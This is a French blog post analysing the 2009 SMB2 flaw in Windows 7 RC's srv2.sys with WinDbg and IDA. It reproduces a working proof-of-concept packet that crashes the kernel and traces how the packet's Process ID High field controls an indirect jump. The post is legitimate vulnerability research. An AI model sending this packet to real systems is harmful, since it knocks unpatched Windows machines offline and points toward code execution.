Hier, je lisais mes flux RSS quand un article a attiré toute mon attention : Des hackers défient Microsoft et exploitent une faille.
Cet article fait référence à une faille parue le 9 Septembre 2009 sur le protocole SMB2. En effet, il y a quelques jours H.D Moore annonce l’intégration d’un exploit dans Metasploit, et là je me suis dit « Si je revenais un peu aux sources ? ». Donc aujourd’hui, je vous propose une petite exploration au cœur du noyau de Windows 7 RC x64 afin de comprendre d’où provient tout ce brouhaha.
Avant de commencer, SMB est le protocole utilisé par Windows pour partager les fichiers, les imprimantes… La version 2 a été introduite avec Vista.
C’est parti, je prends le premier exploit que je trouve, je le lance, boum un BSOD provenant du module srv2.sys. Le POC envoie simplement un paquet SMB2 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) |
Tant mieux… Un minidump est créé, en plus ça a bien planté à l’endroit prévu. Je lance WinDbg et let’s go to the fun !
Mon petit débuggeur préféré m’annonce ceci :
1 2 3 4 | ExceptionAddress: fffff880081a9d7f (srv2!Smb2ExecuteProviderCallback+0x00000000000000bf)
ExceptionCode: c0000005 (Access violation)
srv2!Smb2ExecuteProviderCallback+0xbf:
fffff880`081a9d7f 48ffe2 jmp rdx {0b7ec985`48ca2b48} |
Hmm intéressant, lançons IDA et regardons d’où provient cette valeur de rdx. Tout d’abord, voici la fonction Smb2ExecuteProviderCallback désassemblée :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | PAGE:FFFFF880081A9CC0 Smb2ExecuteProviderCallback proc near ; DATA XREF: Smb2ProviderRegister:loc_FFFFF880081C9926o PAGE:FFFFF880081A9CC0 PAGE:FFFFF880081A9CC0 var_38 = qword ptr -38h PAGE:FFFFF880081A9CC0 var_30 = qword ptr -30h PAGE:FFFFF880081A9CC0 var_28 = qword ptr -28h PAGE:FFFFF880081A9CC0 var_20 = qword ptr -20h PAGE:FFFFF880081A9CC0 var_18 = dword ptr -18h PAGE:FFFFF880081A9CC0 arg_0 = qword ptr 8 PAGE:FFFFF880081A9CC0 arg_8 = qword ptr 10h PAGE:FFFFF880081A9CC0 PAGE:FFFFF880081A9CC0 ; FUNCTION CHUNK AT PAGE:FFFFF880081C11CC SIZE 000000E3 BYTES PAGE:FFFFF880081A9CC0 PAGE:FFFFF880081A9CC0 mov [rsp+arg_0], rbx PAGE:FFFFF880081A9CC5 mov [rsp+arg_8], rsi PAGE:FFFFF880081A9CCA push rdi PAGE:FFFFF880081A9CCB sub rsp, 50h PAGE:FFFFF880081A9CCF mov rax, [rcx+0C8h] PAGE:FFFFF880081A9CD6 mov rbx, rcx PAGE:FFFFF880081A9CD9 mov rdi, [rax+20h] PAGE:FFFFF880081A9CDD mov rcx, cs:WPP_GLOBAL_Control PAGE:FFFFF880081A9CE4 lea rsi, WPP_GLOBAL_Control PAGE:FFFFF880081A9CEB cmp rcx, rsi PAGE:FFFFF880081A9CEE jz short loc_FFFFF880081A9D0A PAGE:FFFFF880081A9CF0 bt dword ptr [rcx+2Ch], 0Ah PAGE:FFFFF880081A9CF5 jb loc_FFFFF880081C11CC PAGE:FFFFF880081A9CFB PAGE:FFFFF880081A9CFB loc_FFFFF880081A9CFB: ; CODE XREF: Smb2ExecuteProviderCallback+17510j PAGE:FFFFF880081A9CFB ; Smb2ExecuteProviderCallback+17537j PAGE:FFFFF880081A9CFB cmp rcx, rsi PAGE:FFFFF880081A9CFE jz short loc_FFFFF880081A9D0A PAGE:FFFFF880081A9D00 test byte ptr [rcx+2Ch], 1 PAGE:FFFFF880081A9D04 jnz loc_FFFFF880081C11FC PAGE:FFFFF880081A9D0A PAGE:FFFFF880081A9D0A loc_FFFFF880081A9D0A: ; CODE XREF: Smb2ExecuteProviderCallback+2Ej PAGE:FFFFF880081A9D0A ; Smb2ExecuteProviderCallback+3Ej ... PAGE:FFFFF880081A9D0A movzx eax, cs:SrvReauthPolicy PAGE:FFFFF880081A9D11 cmp [rdi+0Ch], ax PAGE:FFFFF880081A9D15 jz loc_FFFFF880081C1257 PAGE:FFFFF880081A9D1B PAGE:FFFFF880081A9D1B loc_FFFFF880081A9D1B: ; CODE XREF: Smb2ExecuteProviderCallback+175B3j PAGE:FFFFF880081A9D1B ; Smb2ExecuteProviderCallback+175C7j ... PAGE:FFFFF880081A9D1B movzx eax, word ptr [rdi+0Ch] PAGE:FFFFF880081A9D1F lea rdx, ExecuteRoutines PAGE:FFFFF880081A9D26 mov rcx, rbx PAGE:FFFFF880081A9D29 mov rdx, [rdx+rax*8] PAGE:FFFFF880081A9D2D test rdx, rdx PAGE:FFFFF880081A9D30 jz loc_FFFFF880081C1299 PAGE:FFFFF880081A9D36 lea rax, Smb2ExecuteCreate PAGE:FFFFF880081A9D3D cmp rdx, rax PAGE:FFFFF880081A9D40 jnz short loc_FFFFF880081A9D70 PAGE:FFFFF880081A9D42 mov rax, [rbx+1B0h] PAGE:FFFFF880081A9D49 cmp byte ptr [rax+0F0h], 0 PAGE:FFFFF880081A9D50 jnz loc_FFFFF880081C12A4 PAGE:FFFFF880081A9D56 call Smb2ExecuteCreateReal PAGE:FFFFF880081A9D5B PAGE:FFFFF880081A9D5B loc_FFFFF880081A9D5B: ; CODE XREF: Smb2ExecuteProviderCallback+175EAj PAGE:FFFFF880081A9D5B mov eax, 103h PAGE:FFFFF880081A9D60 PAGE:FFFFF880081A9D60 loc_FFFFF880081A9D60: ; CODE XREF: Smb2ExecuteProviderCallback+175DFj PAGE:FFFFF880081A9D60 mov rbx, [rsp+58h+arg_0] PAGE:FFFFF880081A9D65 mov rsi, [rsp+58h+arg_8] PAGE:FFFFF880081A9D6A add rsp, 50h PAGE:FFFFF880081A9D6E pop rdi PAGE:FFFFF880081A9D6F retn PAGE:FFFFF880081A9D70 ; --------------------------------------------------------------------------- PAGE:FFFFF880081A9D70 PAGE:FFFFF880081A9D70 loc_FFFFF880081A9D70: ; CODE XREF: Smb2ExecuteProviderCallback+80j PAGE:FFFFF880081A9D70 mov rbx, [rsp+58h+arg_0] PAGE:FFFFF880081A9D75 mov rsi, [rsp+58h+arg_8] PAGE:FFFFF880081A9D7A add rsp, 50h PAGE:FFFFF880081A9D7E pop rdi PAGE:FFFFF880081A9D7F jmp rdx PAGE:FFFFF880081A9D7F Smb2ExecuteProviderCallback endp |
En explorant un peu la fonction, on tombe rapidement sur ce bout de code :
1 2 3 4 | PAGE:FFFFF880081A9D1B movzx eax, word ptr [rdi+0Ch] PAGE:FFFFF880081A9D1F lea rdx, ExecuteRoutines PAGE:FFFFF880081A9D26 mov rcx, rbx PAGE:FFFFF880081A9D29 mov rdx, [rdx+rax*8] |
Ok cool, en fait normalement rdx pointe sur une routine de SMB2 dont l’adresse est stockée dans le tableau ExecuteRoutines, mais la apparemment non
Comme vous pouvez le voir, l’index rax provient d’une structure en rdi. Ok super, on a que demandé a notre debugguer préféré qu’est ce que contient notre beau registre rdi, mais la pas de bol, enfin plutôt normal, il y a eu un petit pop rdi avant notre jmp de la mort, fu.
Ici, commence un trifouillage pour retrouver la valeur. L’instruction qui assigne rdi est :
1 2 3 | PAGE:FFFFF880081A9CCF mov rax, [rcx+0C8h] PAGE:FFFFF880081A9CD6 mov rbx, rcx PAGE:FFFFF880081A9CD9 mov rdi, [rax+20h] |
Pareil rax à été modifié avant le plantage par l’instruction suivante :
1 | PAGE:FFFFF880081A9D42 mov rax, [rbx+1B0h] |
Mais rax a été modifié aussi par la suite, par contre rcx lui a été sauvegardé dans rbx puis restauré par la suite, donc la on retombe sur nos pieds. Donc, regardons un peu tout ça, j’ai essayé de faire le plus simplement possible pour la démarche :
1 2 | 0: kd> dq rcx + 0xC8 fffffa80`040d02f8 fffffa80`040d0480 fffffa80`040d0480 |
Donc rax au moment de l’instruction mov rdi, [rax+20h] valait 0xfffffa80040d0480.
1 2 | 0: kd> dq fffffa80`040d0480 + 0x20 fffffa80`040d04a0 fffffa80`040d06b8 00000090`00000100 |
rdi se voit assigné 0xfffffa80040d06b8. Regardons ce qui s’y trouve :
1 2 3 4 5 6 7 8 9 | 0: kd> db fffffa80`040d06b8 fffffa80`040d06b8 ff 53 4d 42 72 00 00 00-00 18 53 c8 00 26 00 00 .SMBr.....S..&.. fffffa80`040d06c8 00 00 00 00 00 00 00 00-ff ff ff fe 00 00 00 00 ................ fffffa80`040d06d8 00 6d 00 02 50 43 20 4e-45 54 57 4f 52 4b 20 50 .m..PC NETWORK P fffffa80`040d06e8 52 4f 47 52 41 4d 20 31-2e 30 00 02 4c 41 4e 4d ROGRAM 1.0..LANM fffffa80`040d06f8 41 4e 31 2e 30 00 02 57-69 6e 64 6f 77 73 20 66 AN1.0..Windows f fffffa80`040d0708 6f 72 20 57 6f 72 6b 67-72 6f 75 70 73 20 33 2e or Workgroups 3. fffffa80`040d0718 31 61 00 02 4c 4d 31 2e-32 58 30 30 32 00 02 4c 1a..LM1.2X002..L fffffa80`040d0728 41 4e 4d 41 4e 32 2e 31-00 02 4e 54 20 4c 4d 20 ANMAN2.1..NT LM |
Cool, notre paquet SMB2.
1 2 | 0: kd> dw fffffa80`040d06b8 + 0x0C fffffa80`040d06c4 2600 0000 0000 0000 0000 0000 ffff feff |
Revenons au code qui modifie rdx :
1 2 3 4 | PAGE:FFFFF880081A9D1B movzx eax, word ptr [rdi+0Ch] PAGE:FFFFF880081A9D1F lea rdx, ExecuteRoutines PAGE:FFFFF880081A9D26 mov rcx, rbx PAGE:FFFFF880081A9D29 mov rdx, [rdx+rax*8] |
Maintenant, on comprend que rdi pointe sur notre paquet SMB2 et que eax contient la valeur Process ID High de notre paquet SMB ce qui signifie qu’un paquet SMB peut directement agir sur la valeur de rdx du jump rdx qui nous à fait un beau BSOD mais qui pourrait bien faire plus
.
Donc miam la faille en effet
Si vous souhaitez des informations complémentaires, par exemple pour désactiver SMB2, je vous laisse lire l’article sur le blog http://blogs.technet.com/srd/.
J’espère que cette mini-exploration au coeur du kernel de Windows 7 vous a plu, n’hésitez pas à laisser votre appréciation.
See U.
Mise à jour de l’article 30/09/2009 – 19h00
Windows 7 RTM et Windows Server 2008 R2 ne sont pas touché, Microsoft était au courant de cette vulnérabilité depuis un moment :
- « We found this issue independently through our fuzzing processes and implemented the fix into Windows 7 RTM (release to manufacturer) and Windows Server 2008 R2″
- « We’re working to develop a security update for Windows Vista, Windows Server 2008 and Windows 7 RC. »





0 réponses
Suivez la conversation, abonnez-vous au flux RSS des commentaires..